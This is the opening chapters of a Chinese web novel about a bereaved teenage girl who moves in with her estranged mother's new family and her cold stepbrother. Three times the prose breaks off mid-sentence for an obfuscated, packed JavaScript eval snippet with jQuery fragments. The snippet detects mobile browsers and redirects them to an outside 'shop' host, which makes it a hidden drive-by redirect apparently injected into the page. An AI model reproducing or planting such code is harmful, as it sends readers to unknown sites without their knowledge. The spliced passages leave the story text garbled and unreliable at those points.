《如果小狗喜欢你》
1. 很不高兴认识你
明歌拖着笨重的行李箱走到机场出站口,一眼就认出了穿白色羽绒服的程嘉临。
明诗悦和苏海离婚时,明歌尚不理解“感情破裂”的含义,妈妈去她不知道的地方,她就打电话、发消息,全部石沉大海,依旧锲而不舍。
好在明诗悦总会按时给苏海转明歌的抚养费,两人总归不算完全断联,小学的时候别的同学偷家长手机都是为了看小说玩游戏,她跟苏海斗智斗勇是想翻看亲妈的社交平台。
明诗悦早就把苏海屏蔽了,她顺藤摸瓜找到了明诗悦的微博,注册了一个小号,一有机会就看她的动态。
很多很多大海的照片,明歌划来划去,找不到一张明诗悦的近照。
后来,明诗悦终于入了镜,和她一起站在风景里的,还有一个叔叔和一个看起来和她差不多大的漂亮男孩子。
明诗悦笑得很温柔,很幸福。
那时苏海带人回家不会再避着明歌,来来去去的阿姨都很漂亮,没有一个像明诗悦。
明歌学会不再期待有关妈妈的一切。
直到一个月前苏海意外去世,明歌才再一次久违地拨通了明诗悦的号码。
听筒中明诗悦的嗓音有些失真,明歌无法分辨她的情绪,或者明诗悦早已不会为女儿和前夫浪费情绪。她高效地安排完一切,仿佛这只是一项略微麻烦的工作,然后明歌终于得到见到妈妈的机会。
明歌给自己讲了个笑话,这也算是曲线救国,得偿所愿。
这个笑话没让她笑出来。
明歌的思绪回到现在,她不动声色地观察程嘉临,这个勉强算是她名义上哥哥的人。
程嘉临和照片中一样好看,狭长的凤眼,高鼻梁,薄唇,只是表情非常冷淡。明歌压下心底的焦躁,抿了抿唇,对他露出两个浅浅的梨涡:“嘉临……哥哥。”
这是她在社交场合中一贯的姿态,柔软、礼貌,不展露一点攻击性,往往能更容易亲近他人。
程嘉临不冷不热地看了面前的女孩子一眼,机场暖气很足,她半张脸都被烘得通红,梨涡小心翼翼地出现又消失。明诗悦和他爸在一起后,几乎从没在家里提过自己这个在江明长大的女儿,明歌对于他来说,是继明诗悦之后又一个凭空出现在身边的陌生人。
十七八岁的男孩子本来就掌握不好和同龄女孩相处的技巧,更别说这个女孩子是他继母的女儿,身份要多尴尬有多尴尬。
程嘉临别扭、烦躁,要不是两个大人白天都有工作,他万不可能大老远跑到机场,独自面对这个天上掉下来的“明妹妹”。
明歌迟迟等不到程嘉临的回应,不知所措地把行李箱拉杆越捏越紧。不知道过了多久,程嘉临才“嗯”了一声,让明歌跟他走。
刘叔等在停车点,帮明歌把行李箱放进后备箱。他是程家的司机,主要负责接送他们家小少爷,偶尔帮大人和他传个话。
刘叔不久前才知道女主人还有个女儿,得知她因为家庭变故孤身一人跨越几千公里投奔母亲,有点心疼,但也不好多打听雇主的家事,只是克制地瞄了几眼后视镜。
后排的女孩紧紧贴着一侧车门,身体不自然地紧绷,鼻尖挂着一层薄汗,看起来瘦弱而单薄。
程嘉临一上车就脱了外套,胡乱刷了会手机,觉得车内又热又挤,明歌瘦瘦小小一个,存在感却不容忽视。
“刘叔,空调能低一点吗,太热了。”程嘉临忍不住说。
刘叔依言调低了空调。
汽车驶出机场,汇入车流。
宁城前不久下了雪,路边银杏干枯的枝干上载着沉甸甸的白,天空很高很远,阳光干燥锋利。看着窗外飞速倒退的景色,明歌心中生出一片空荡的茫然。
这座城市沿海,终年不下几场雨,冬天的雪来年春天才能融化,一年四季都刮干燥的风。
和温暖湿润的江明千差万别。
车内的空调让明歌口干舌燥,她低下头,仔细地撕掉指甲边缘翘起来的倒刺。
两人到家后,是宋阿姨开的门。
宋阿姨是个热情的北方女人。和刘叔不同,她在程嘉临很小的时候就来程家做事,比起员工更像程家的亲戚,于是表达怜惜的方式便直接得多,一见面就把人轻轻搂进了怀里:“闺女,这一路累坏了吧?”
宋阿姨个子很高,身上的热气把女孩全拢住了,明歌没被长辈这么抱过,有点头晕,僵了片刻,乖巧地答道:“不累的,谢谢阿姨。”
宋阿姨更心疼了。
程嘉临进门就钻房间里换衣服了,刘叔拿行李箱的时候手上打了滑,他眼疾手快地凑上去接,蹭了一裤腿灰。这会他换了身单薄的卫衣长裤,趴在二楼栏杆上,懒洋洋地打断这一大一小的互动:“姨,晚饭能加个雪衣豆沙吗?”
“知道你肯定要吃,已经准备上了,我帮妹妹收拾收拾就去做。”
程嘉临知道“妹妹”这个称呼是跟着他的视角叫的,心想既没血缘关系也没法律关系的,哪门子的妹妹,就听明歌连忙说:“不用了阿姨,您忙去吧,我东西不多,自己收拾就好了。”
宋阿姨便也不再坚持,乐呵呵进厨房了。
明歌确实没带多少东西,非紧急必需品她原本就打算到宁城再买。感谢苏海,虽然人品一般,但胜在工作能力比较强,给她留下了未来几十年不愁吃穿的财富,让她花起钱来没什么负担。
将将七点时,程明谦和明诗悦回来了。
明歌的房间对着前院,她在窗边看到两人的身影,下到一楼,他们刚好进屋。程明谦把提着的大包小包往玄关一放,看到明歌,脸上漾开笑意:“平安到家就好,这一路辛苦了吧?我是程明谦,你叫叔叔就行。你父亲的事,我和你妈妈都很难过。”
明诗悦没说话,却早已红了眼眶,她优雅地拭干眼角的泪:“我没想到你父亲走得这么突然,这么些年,是我失职了。”
她说着话,轻柔地摸了摸明歌的头发。明歌记忆里,即便是小时候父母离婚前,她都没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406730|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有对自己这样温柔过,愣了一下,配合地没有躲开。
程明谦拍了拍明诗悦的肩,又对明歌说:“这段时间你肯定不容易,以后这就是你的家,我们都是你的家人。我和你妈妈给你买了些东西,你看看喜不喜欢,缺什么再和我们说。”
明歌语气感激:“谢谢叔叔。”
程明谦上了楼,原意大概是想腾出空间让久别重逢的母女二人说说话,但明歌和明诗悦根本无话可说,两人心照不宣地错开视线,闭口不言。
餐桌上,明歌和程嘉临坐在一侧,对面是两位大人。程嘉临的刘海在出来的时候被程明谦揉得乱七八糟,他仔仔细细地整理了半天,拖着长音抱怨:“您老盯着我头发霍霍干嘛呀。”
明诗悦眉眼弯弯地看着父子俩,伸出手,还没碰到程嘉临的头发,就被他不着痕迹地避开。明诗悦似乎习以为常,把鱼换到程嘉临面前,面色不改地剥了一块没有刺的鱼肉给他。
程嘉临也没碰那块鱼。
接下来餐桌上程明谦是如何热情招待她、明诗悦又在看似其乐融融的氛围里露出了怎样幸福而欣慰的微笑,明歌全然记不清,只觉得暖气太过干燥,体内好像有把越烧越旺的火,喝多少水都无济于事,她焦躁又昏沉,耳边阵阵嗡鸣,只能机械地吞咽、对话。
洗完澡钻进被窝,明歌感觉头更晕了,身上也隐隐有些酸痛。
她已经简单地收拾过行李,程明谦塞给她的几袋东西放在角落,还没来得及拆。
房间很大,有单独的浴室,崭新的生活用品一应俱全,甚至准备了很多小女孩可能会喜欢的玩偶,让住客无比舒适。程明谦应该真的非常爱明诗悦,因此对明歌也爱屋及乌。
明歌按亮手机屏幕,各种APP的推送、未读消息争先恐后地弹了出来,屏幕顶端密密麻麻地挤满了消息图标。
很多人在问她为什么突然转学。
明歌编不出理由,也不想说实话。父亲去世她没有多难过,不想要安慰,也不想让别人觉得她冷漠。
干脆装没看到,反正这些不远不近的同学,之后大概率也不会再联系了。
突然,明歌划到一个崭新的对话框,点开,屏幕上只有加好友时的一条验证消息:“我是程嘉临。”
明歌顿了一下,想起晚饭时,程明谦让他们互加好友,程嘉临看起来并不情愿,但最终没说什么。
程嘉临的头像是一只铅笔画的猫猫头。
猫猫头很可爱,程嘉临很冷漠,他们两个一点都不像。
明歌顿了顿,把程嘉临分在了“家人”的标签里,方便发朋友圈的时候屏蔽掉。
湿乎乎的情绪攀上明歌的心脏,宛如缓慢生长的苔藓,令人厌烦。明歌不喜欢这种感受,于是熟练地抽离,想象自己是这间屋子里的摆设,台灯、书本,什么都行,总之和那个叫做明歌的女孩毫无关联,不会为她伤心或者委屈。
疲惫感排山倒海地压过来,明歌闭上眼,缓缓地沉入黑暗中。
2. 小猫,但没有尾巴
明歌这一觉睡得很不安稳,梦境像一团越绕越乱的线,缠住她四肢百骸,让她动弹不得。
梦里的江明下了几年难得一见的雪,雪片飘飘摇摇地坠到她肩膀上,洇出一块不明显的水渍。面前是一块墓碑,她在一片白茫茫中努力地辨认碑上的照片,画面中的男人容貌昳丽,只是气色很不好,眼圈发青,嘴角向下,看起来有些阴沉。
是苏海。
雪实在太大了,压在肩膀上,很快明歌的衣服湿了一大片,沉甸甸地贴在皮肤上。明歌不得不撑起伞,这时一阵突如其来的风将伞吹走,明歌深一脚浅一脚地追过去时,周遭场景骤然改变,惨白的天光穿透玻璃,提着大包小包的旅客路过她身边,撞到她死死攥着的行李箱。
失真的女声在播报登机信息,人流越来越拥挤,到最后她几乎被挤得喘不过气,只能一起往前走。眼看与检票柜台之间的距离越来越短,她无端生出逃离的冲动,突然,她的手腕被人用力一拽,明歌惊讶地抬头,对上程嘉临漆黑的双眼。
明歌在下坠感中浑身冷汗地惊醒,发现真的有一只凉凉的手圈着她的手腕,那只手用力一拉,她被迫坐起,一时间只感觉天旋地转,头痛欲裂。
窗帘没关严,外面在下雪。
“你……”她想开口问“你干嘛”,可声音刚到喉口就碎了,只剩嘶哑的气音。喉咙和鼻腔像被刀割似的疼,脑袋沉得抬不起来,骨头缝里酸胀难忍。
明歌迟钝地意识到自己发烧了。
程嘉临大清早被微信电话吵醒,刚接通就听见明歌在电话里哭着说自己难受,吓得他一激灵清醒过来。这会家里只有他和明歌,他推开明歌房门一看,女孩窝在被子里,已经烧得像只熟虾。
“醒醒,别睡,我们去医院。”
眼看着明歌又要闭眼,程嘉临赶忙拍了拍她的后背。大少爷没照顾过人,把握不好力度,明歌只感觉到少年人硬邦邦的掌心拍上后背,闷痛感令她胸腔一震,眼前转起了小星星。
明歌一晃脑袋就想吐,“你打我干什么……”
程嘉临耳朵凑到她嘴边:“什么?”
“打我的人未来一年都倒霉……”
她嘟嘟囔囔的,程嘉临实在听不清,只得放弃。他手忙脚乱地叫了车,接着不知从哪抱来一堆衣服,厚毛衣、羽绒服,半是命令半是帮忙地往明歌身上套。
明歌一点力气都没有,由着他折腾,不一会感觉自己被拎起来,接着就闻到出租车的汽油味儿。
医院。
透明的药液匀速下落,明歌恍惚地盯着自己的鞋尖——毛茸茸兔子耳朵耷拉着,显得格外委屈。
明歌烧退了一点,意识清楚了不少。她哑着嗓子问:“你怎么知道我发烧了?”
程嘉临瞥了一眼她乱七八糟的领子和裸露出来的一小片皮肤,因为发烧,明歌的脖颈泛着不正常的潮红。
他回忆了一下自己狂暴的穿衣手法,顿了顿,略有些心虚地移开眼:“你早上给我打了个电话,一直哭,我就进去看了一眼。”
明歌沉默了。她按亮自己的手机,微信消息列表最顶上赫然是程嘉临的对话框,早上七点二十,通话时间四十九秒。
“……”
大约是烧得快开了,求生的本能促使她向外界发出了求救信号,只是昨晚没把程嘉临的对话框退出去就睡着了,所以程嘉临很不幸地在她这“中了奖”。
明歌面无表情地熄灭手机,屏幕上映出一张和她梦里的苏海十分肖似的脸。
“……谢谢哥哥。”
“嗯?”程嘉临一手搭在椅背上,一手划动手机屏幕,“哦,没事儿,不用谢。”
说完这句话后,沉默在两人间弥漫开来。
似乎是受不了这种尴尬的氛围,大约十分钟后,程嘉临起身,“我走了。”
明歌“哦”了一声表示自己知道了。程嘉临比她大一岁多,现在是高三备考生,明歌本来也没觉得他会在这里一直待下去。
输入血管的药液令明歌半边身子又冷又麻,她小幅度地动了动,用肩膀撑着脑袋,以一个扭曲的姿势窝在座位上,想睡会。
还好出门的时候程嘉临记得把她的手机也拿上,电量应该还能支撑到一会挂完水打车回去。
好冷啊。明歌迷迷糊糊地想,仙女教母能不能现在就出现呢,虽然自己不是灰姑娘,但她很希望她大发善心地能给自己带来一个暖水袋,最好是毛茸茸的那种。
这个念头刚冒出来,一只毛绒小兔子暖水袋就变戏法似的出现在眼前,和她的拖鞋在一个画面里,莫名有点相得益彰的意思。
明歌抬头,程嘉临左手举着热水袋,右手拎着热腾腾的外卖,看着像是来送温暖的,只有表情依然楚楚冻人。
……?
明歌迟钝地眨眨眼,没反应过来。
见明歌一脸懵,程嘉临不轻不重地叹了一声,干脆直接把暖水袋塞进她怀里,然后坐回原来的位置,把外卖袋放在腿上,拆开递过去:“先吃点东西。”
杯装的燕麦粥,很清淡,对病号来说再合适不过。
明歌捧着那杯粥,热气从手心蔓延到整个身体,她犹豫了一会儿,问:“你不回去吗?”
程嘉临咬了一口金枪鱼饭团,一脸莫名其妙:“我回去你怎么办?”
如此理所当然的语气,就好像明歌不是感冒发烧,而是得了不得了的大病,离了他就没办法照顾自己。
明歌沉默了一会儿,“我把饭钱A你吧。”
程嘉临少爷做派,很少和人AA,大多数时候,都是和朋友有来有回地请客,看到明歌熟练地点开转账界面,他愣了一秒钟。
程嘉临皱眉:“要不你把看病钱也转给我?”
生病的明歌听不出他的阴阳怪气,诚恳道:“好的,你把缴费单给我。”
程嘉临:“……”
算了,收吧,回头把这钱充进明歌的饭卡里。
*
程嘉临一进输液室就把手机调成了震动模式,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406731|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他大腿一麻,从兜里掏出手机一看,是程明谦的电话。程明谦看到了程嘉临在出租车上发给他的消息,一连问了好几句明歌现在怎么样,程嘉临回忆着医生的话,背书似的事无巨细全都告诉了程明谦,最后又提醒他,也转告明阿姨一下。
紧接着,宋阿姨的电话又打来,说准备了清淡的饭菜,问他们什么时候回来吃饭。
程嘉临非常有耐心,明歌却觉得吵,以前生病时苏海很少过问她的情况,她习惯把自己调成节能模式,安静等待痊愈。
“嗯,不会太久。”程嘉临轻声答应,还未开口询问明歌想吃什么,肩膀上忽然一沉,多出个毛茸茸的脑袋。
“……没,嗯,您看着弄吧,昨天的虾她好像吃的挺多的……哦,不能吃发物啊,那豆腐呢,她还吃了不少豆腐……”
明歌睡得无知无觉,密而直的睫毛软趴趴地搭着,也许是有些呼吸不畅,微微张着嘴,脸颊与唇瓣上还残留着未褪尽的潮红。
程嘉临压低声音讲完电话,一只手抬起又放下,顿了顿,最终还是没有弄醒她,只轻轻抽走她手里剩下的半杯粥,单手妥善地收拾好外卖垃圾。
一来就重感冒,实在是有点倒霉,程少爷大人有大量,就不和病歪歪的倒霉蛋计较了。
雪停了,正是阳光最好的时间,宁城虽然气温低,但阳光一年四季都不会短缺,柔柔地在地面上、墙壁上都铺开一层,能养活一排豌豆射手。
程嘉临空着的那只手闲不住,食指和小指屈起一半,其他手指虚握成拳,一只没有尾巴的小猫的影子就出现在对面的墙壁上——是小时候妈妈带他玩的手影游戏。
程嘉临手腕倾斜,小猫脑袋随着他的动作,拱了拱明歌的头顶。
*
明歌是在护士拔针时醒过来的。
她迷迷瞪瞪地抖了两下睫毛,上一秒还在奇怪为什么脖子不酸,下一秒就发现了答案,她睡着睡着,把程嘉临当枕头靠了。
一股清淡的甜香萦绕在鼻尖,让人联想初夏夜晚的凉风,不知道是什么牌子的洗衣液。少年的肩膀不算宽厚,却撑得很稳。总之她睡得挺舒服,连梦都没做。
明歌连忙把身子正回来,动作之大,惹得护士发出一声惊叫,“诶诶诶,拔针呢,别乱动啊。”
程嘉临心中好笑,“这次不说谢谢哥哥了吗?”
明歌按住止血胶布:“谢谢哥哥。”
“嗯,医生说你一共要挂三天吊水,明后天还是上午来行吗?”
明歌觉得他这话问得奇怪,她什么时间来医院,需要和他商量吗?
但还是乖乖回答:“哦,行的。”
程嘉临便点点头,明歌一头雾水,但很快,程嘉临就亲自解开了她的疑问。
第二天,明歌睡醒打开房门,映入眼帘的是穿戴整齐,一手插兜,单肩背着包,并且正准备敲门的程嘉临。
明歌毫无防备,吓得浑身一抖。
程嘉临顺势靠在门边:“走吧,陪你输液。”
3. 来都来了,但不来也没差
明歌没想到程嘉临是这个意思,呆了半晌,“不……”
“嘉临啊,妹妹醒了没?叫她下来吃早饭啊。”宋阿姨一边盛粥一边在楼下喊,打断了明歌的拒绝。
两人坐在餐桌前,程嘉临顺手接过宋阿姨手中的盘子,和其他食物放在一起,摆成一个规规整整的圆形。
宋阿姨看了一眼明歌苍白的小脸,边忙活边絮絮叨叨地说:“怎么这么不赶巧呢,刚到家就闹了一场病,是不是水土不服呀。”
“昨天嘉临说你好像喜欢吃豆腐呀海鲜呀之类的是吧?跟他一样。还有别的想吃的吗?这几天有很多东西都要忌口,阿姨尽量给你做……”
明歌才把一口面条送进嘴里,闻言看了一眼程嘉临,那眼神的意思显而易见:你怎么知道的?
程嘉临从容不迫地倒了杯水,“你昨天吃有豆腐和海鲜的菜比较多。”
明歌收回目光,她其实对食物没什么偏好,多夹了几口这些菜,是因为刚好离得近。
明歌还是不太能适应宋阿姨的热情,礼貌地笑了笑:“谢谢阿姨,阿姨手艺很好呢,做的东西都好吃,我不挑食。”
临出门前,明歌还想坚持推辞一下程嘉临的陪同,但程嘉临动作迅速地换了鞋,站在门口用眼神催促她,于是明歌第二次拒绝也没能说出口。
刘叔把他们送到医院,护士给明歌扎针的时候,程嘉临从包里拿出了卷子。
明歌瞄了一眼,是高考模拟卷。
虽然就读于大半同学都选择出国的私立学校,但程嘉临好像还是准备走国内高考。
他手里的那张卷子恰好是今年江明的联考卷,高三考完以后,明歌的班主任印了三十多张,也拿到高二给他们考了一次。
江明市教育出了名的内卷,明歌读的是头部重点高中,早早学完了高考内容,剩下的时间一边做模拟卷一边学拓展内容。
输液室说不上安静,但程嘉临很专注,字迹工整,解题步骤清晰准确,和标准答案不相上下。
程嘉临注意到明歌的视线,突然发现这张卷子的卷头,赫然写着“xx年江明市十二月联考卷”。
他推己及人,觉得明歌大约是睹物生情,想家了。
程嘉临不动声色地把卷子朝明歌那边挪了挪。
细碎的阳光在程嘉临的笔迹间跳跃,两人一个写一个看,气氛莫名和谐。
*
宋阿姨家里老人摔倒了,临时请了假,程嘉临收到消息时,明歌刚好挂完今天的吊水,他想了想,干脆带着明歌去常去的商场吃午饭。
年前商场简直人满为患。
扶梯上,后面的人不知道怎么回事,推了明歌一下。她一时没站稳,鼻尖直挺挺地撞上程嘉临的后背,明歌疼出一圈生理性眼泪,程嘉临也低低地痛呼了一声。
这一串连环撞动静不小,周围的人齐刷刷看过来。
一个个子很高的卷毛男生,明歌判断他应该就是罪魁祸首。小卷毛连声道歉,最前面的程嘉临转过头,两人对视上,他忽然卡了壳。
“我草,程哥,怎么是你啊?”
程嘉临迈下扶梯,先看了眼明歌的鼻子,有点红但没流鼻血,应该没什么大事。
小卷毛顺着程嘉临的视线注意到旁边的明歌,他的目光在两人之间转了转,语气里遮掩不住的八卦意味:“这是……?”
程嘉临也不知道他跟明歌算什么关系,和后者对视一眼,说:“她是明阿姨的女儿。”
明歌笑了笑,梨涡花儿似的绽开:“我叫明歌。”
那笑容又清又软,语文造诣低成盆地的赵奕潇不知怎么的,想出个乱七八糟的比喻句——像溪水一样透亮。
赵奕潇从耳尖红到脖根,一张嘴就结巴了,说完悔恨得恨不能把自己舌头咬掉。
“我,咳,那个,赵、赵奕潇。”
说完又补充道:“我和程嘉临是同班同学。”
一直杵在扶梯口有点没素质,三个人一边往里走一边说话。从赵奕潇的三言两语中,明歌得知他在这附近上补习班,下课后来买东西,刚好还有两个朋友要来逛街,他们便约在这家商场的三层吃饭。
“你呢?你和你妹妹也是出来玩的?”赵奕潇话是问程嘉临的,眼神却时不时落在明歌身上。
程嘉临闭着眼翻了个白眼,一个两个的,为什么都默认他们两个是兄妹?他有点不耐烦:“不是,就来吃个饭。”
赵奕潇眼睛一亮:“那你带明歌妹妹和我们一起吃呗。”
程嘉临看了眼跟在后面默默无闻的女孩,准备拒绝。
赵奕潇一看他这表情,立刻使出绝招:“来都来了。”
程嘉临:“……”
没有哪个人听到这四个字还能不为所动,至少程嘉临不能。仅仅是片刻的犹豫,两个人就被赵奕潇连说带劝地拉进了餐厅。
明歌抬头看招牌,川菜水煮鱼,五个字里面有两个字病号不能沾,剩下三个字是水煮菜。
赵奕潇一进门,坐在里间的陈夏和江乐就挥了挥手,江乐在看清他身后的程嘉临时,愣了一下,露出惊喜的表情。
陈夏则看着明歌,问赵奕潇:“这是……?”
程嘉临放弃解释,破罐破摔:“我妹。”
陈夏非常直率地露出一个大大的微笑:“噢——你好,你好漂亮呀。”
不一会,他们点的菜陆陆续续上桌,对面的江乐把菜单递给程嘉临:“不知道你们要来,可能点少了,想吃什么你再加。”
明歌自然而然地又坐在程嘉临身边的座位,把江乐羞涩的神情尽收眼底,她在桌底下转刚从口袋里摸出来的唇釉玩儿,无聊地猜,江乐喜欢程嘉临。
程嘉临看了一眼菜单,这一整面菜就没几样病号能吃的。
走是来不及走了,他千挑万选,点了道鱼片粥。
说起来,鱼是应该不是发物吧?
明歌倒是无所谓,程嘉临跟朋友们一起吃饭,她就是一个顺带的,大不了康复得慢一点。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406732|200551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>他们四个人很熟悉,有重合的交际圈和相似的生长环境,聊考试、聊游戏、聊家人,非常热闹,明歌坐在最里面,吃两口戳一会儿碗底,想象自己是旁边的纸巾盒,沉默地等待这顿饭结束。
赵奕潇语气十分夸张地分享程嘉临的糗事,江乐笑得眉眼弯弯,目光始终落在程嘉临身上。明歌再不感兴趣,也控制不住他们的笑声传入她的耳朵。
“我真是服了,上回程嘉临翘课,我后来问他原因,你猜怎么着,他说他原本只是不小心睡过了早读,都准备出门了,结果老吴第一节课提前几分钟给他爸打电话,说他不来上课全班就等着他,试图以愧疚激起我程哥上课的积极性。咱少爷面子多贵啊,老吴都把话放出来了,他当然不可能再去了。”
陈夏靠着江乐笑得筷子都夹不住菜,江乐赶紧用漏勺帮她捞了一下,打趣程嘉临:“这事儿都传到我们班了,我们班班主任还让我们把你当反面例子,不要觉得自己成绩好就能违反学校规定了。”
“其实老吴这事儿办得也挺离谱,他后来不是还把明阿姨叫到学校了吗,我那天去办公室拿改好的作业,刚好听到老吴和明阿姨谈话。阿姨特硬气,话里话外一边捧着老吴一边帮程嘉临说话,后来老吴说不过她,就对着我撒气,问我怎么收作业之前不检查一下正确率,改作业改得他心脏病要犯了。”
陈夏越说越激动,“他是不是更年期啊?谁规定我们课代表还要帮老师检查作业的?”
“明阿姨”指的是谁不言自明,明歌和程嘉临同时顿了顿。程嘉临不太自在,想赶紧把这个话题揭过去:“他不就那样吗,我爸拿这事儿挤兑我两周了。”
他们言语间的明诗悦和明歌认识的那位简直不是一个人,她从来不知道,明诗悦原来对外可以既强势又护短。
明歌心底生出一股烦躁,她觉得程家的空气沉重,医院的空气沉重,现在又觉得饭店的空气沉重,令人呼吸不畅,想立刻起身离开。
程嘉临埋头吃饭,话不太多,吃完就说:“我们俩先回去了。”
赵奕潇筷子还悬在半空,闻言赶紧放下:“啊,这么快,那,那……”
“那”了半天没那出个所以然,赵奕潇憋得脸红脖子粗,憋出一句漏了气的“下次见”。
明歌跟着程嘉临走到店外,江乐追出来,她双手捧着一个包装精致的礼盒,因为紧张,指尖在礼盒的边角轻轻摩擦。
明歌自动自觉地站远了些。
江乐低着头,双颊微红,把礼盒递给程嘉临:“春节礼物,大家都有份,我本来是想开学带给你,既然遇见了,就先给你吧。”
她说了所有朋友都有份,程嘉临没办法拒绝,只好接过,无奈地笑了笑:“我没准备,开学补给你吧。”
明歌冷眼旁观,见他们拉拉扯扯个没完,心里的烦躁更甚,她偏过头,隐忍地咳嗽了几声。
听到她的动静,程嘉临说:“我妹妹有点生病,我们就先走了。”
江乐这才依依不舍地点点头。
4. 酸橘子
明歌痊愈后,她在宁城的借读手续也很快办好了。年前,她顺利参加了宁城外国语的插班测试,领了满满一摞寒假作业回家。
明歌虽然成绩好,但是日月可鉴,她并不爱学习。
本以为转学能让她偷个懒,没想到宁外连转学生都要做寒假作业。
更让她崩溃的是,两天后测试结果出来,她进了重点班,又收到一份高难度作业大礼包。
当摞起来快有半张脸高的卷子和报纸堆在书桌前时,明歌恨不得直接躺回床上,一直病到开学。
真是没病也要做作业做出病来了。
明歌每做一张卷子,就要怀念一遍江明附中。
她很讨厌附中的作业,重复枯燥的习题除了让她格外暴躁以外意义不大。老师看在她常年稳居年段第一的成绩对她睁一只眼闭一只眼,苏海则从来没过问过女儿的学习生活,明歌甚至怀疑过苏海到底知不知道她在哪个学校上学。
苏海。这个名字在明歌舌尖滚了一圈,融在一声轻轻的叹息里,终究没被谁听见。
苏海的去世很突然,明歌放学路过他公司楼下,他上一秒还在和同事说笑,下一秒一个趔趄,倒地后再也没醒过来。
那之后的一个多月,明歌过完十七岁生日,见了很多人,学会处理很多事情,独自一人来到宁城。
她的记忆不甚清晰。
但是熟悉的事务总能给人以安全感,这几张卷子骤然将明歌拉回了熟悉的节奏里,像齿轮严丝合缝地恢复转动。
但偶尔还是会有微妙的滞涩感,她的齿轮发出不动听的“咔哒”声。
这样的噪音令明歌烦不胜烦,每到这时,她就把自己当成桌面上的小盆栽。
盆栽只会无动于衷地看着这个叫明歌的人类。
*
程嘉临就像支线剧情的NPC,陪明歌输液的三天结束后,非必要不再搭理她,在家里打了照面也基本都装没看到。
两个孩子关系不冷不热,程明谦打心底里着急,担心明歌太孤单。除夕一大清早,他给了程嘉临一大包装饰材料,让他和明歌齐心协力,把家里布置得有节日氛围一点。
明诗悦的微笑僵了一瞬,但她很快整理好表情,一脸期待地对明歌说:“你们好好商量,一会我和程叔叔验收成果。”
程嘉临打开袋子看了一眼,决定给亲爹一个面子,在明歌病好后第一次主动跟她说话:“走呗。”
窗花、春联、福字,甚至还有彩灯,两人忙活完屋子里面的布置已经十点多,只差露台门的对联没贴。
程嘉临领着明歌上了楼。
明歌在程家的活动轨迹只包括她的卧室和客厅餐厅,第一次上露台,没想到还有一架秋千。
木质秋千看起来有些年头了,但是被维护得很好,前几天的积雪打扫得一干二净,细小的尘埃在阳光下飞舞。
连日闷在屋里做作业,明歌太需要被新鲜的空气和阳光包围,鬼使神差地,她坐到了秋千上。
下一秒被粗暴地拽了起来。
老旧的秋千发出令人牙酸的“嘎吱”声,程嘉临眉眼压得很低,一字一顿道:“这是我妈妈给我弄的。”
苏海和明诗悦没给过明歌亲人的温情,她在这种情境下缺乏共情的能力,但理智上能理解程嘉临的心情,她本应该表现出愧疚,然后给程嘉临道歉。
可她没有。
不知怎么的,明歌想到明诗悦。
她和苏海离婚时对自己歇斯底里的斥责,离开后不曾接通的电话,只在程明谦面前才会为女儿流下的眼泪。
被程嘉临躲开的整理头发的手,夹给他却碰也不碰的鱼。
明歌幼年时求而不得的东西,是程嘉临避之不及的麻烦。
她曾经极度渴望母亲的关爱,即使现在已经不在意是否获得明诗悦片刻的注视,也依旧会为这种不公平感到愤怒。
程嘉临对她也许还有点恨屋及乌,他可以自然地帮刘叔提行李、给宋阿姨搭把手,医院走廊陌生的小孩摔跤他也会扶一把,偏偏对自己冷脸相待,她对他笑,他只会不耐烦。
她的齿轮再一次发出刺耳的噪音。
明歌把手背到身后,轻声问:“我妈妈也碰过它吗?”
“你以前……你到现在为止,都很讨厌我妈妈吗?”
程嘉临一是没反应过来,二是正在气头上,蹙着眉问:“关你什么事?”
“对啊,关我什么事?是我想住到你家的吗?”
被程嘉临攥过的手臂好痛,痛得明歌怒火中烧,她眼眶通红,口不择言:“程嘉临,是我想我妈变成你妈,是我想我爸去死的吗。”
程嘉临怔住了,明歌不再看他,转身离开了露台。
程明谦觉得,他安排两个孩子一起给家里搞新年布置,是一个十分深明大义的决定。
两个孩子的关系虽然还没有产生质的飞跃,但已经取得了长足的进步,具体表现为团圆饭上提到程嘉临的学校时,明歌主动询问了他的校园生活,程嘉临也一一进行了解答。
程明谦十分满意,看着一大家子温馨的画面,心里的欣慰都快溢出来了。
根本没意识到这都是假象。
两个人都看出程明谦的用意,都不想不给他面子。
晚上一起看春晚,程嘉临找了个理由早早溜回房间。接下来一直到亲戚走了个遍,年快过完,两人都没再说过话,两人之间的气氛比明歌刚来时还不如。
程嘉临这两天一闭眼脑子里就是女孩将落未落的眼泪,少爷虽然死要面子,但明白这事儿是自己不对;不过也由于面子比天大,他抓耳挠腮了好些天,一直没想好该怎么道歉。
出乎意料,率先破冰的是明歌。
这天明歌拿着卷子,敲响了程嘉临的房门。
